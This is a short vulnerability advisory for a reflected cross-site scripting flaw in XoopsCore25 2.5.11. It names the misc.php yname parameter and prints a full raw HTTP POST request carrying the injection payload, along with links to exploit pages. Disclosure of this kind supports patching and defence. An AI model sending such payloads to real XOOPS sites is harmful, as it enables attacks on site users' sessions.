XoopsCore25 2.5.11 Cross Site Scripting

## Title: XoopsCore25-2.5.11-XSS-Reflected## Author: nu11secur1ty## Date: 02/12/2024## Vendor: https://xoops.org/## Software: https://github.com/XOOPS/XoopsCore25/releases/tag/v2.5.11## Reference: https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected## Description:The value of the yname request parameter is copied into the value ofan HTML tag attribute which is encapsulated in single quotation marks.The payload '>333< was submitted in the yname parameter. This inputwas echoed unmodified in the application's response. The attacker cantrick the user to visit very dangerous and malicious URL in thissessionSTATUS: HIGH Vulnerability[+]Exploit execution:```POSTPOST /XoopsCore25-2.5.11/htdocs/misc.php HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160Safari/537.36Connection: closeCache-Control: max-age=0Cookie: xoops_session_65ca21e5=1mc2a5bq1c0m2kh9j1qn5ilqmnOrigin: https://pwnedhost.comUpgrade-Insecure-Requests: 1Referer: https://pwnedhost.com/XoopsCore25-2.5.11/htdocs/misc.php?action=showpopups&type=friend&op=sendform&t=1707748563Content-Type: application/x-www-form-urlencodedSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 148yname=VHBoIy'%3e%3ccXWog%3c&ymail=VHBoIy&fname=VHBoIyxV&fmail=VHBoIy&submit=Send&XOOPS_TOKEN_REQUEST=8a6867d76a2aace97646eefb42934056&action=showpopups&type=friend```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/xoops.org/XoopsCore25-2.5.11)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/02/xoopscore25-2511-xss-reflected.html)## Time spent:01:17:00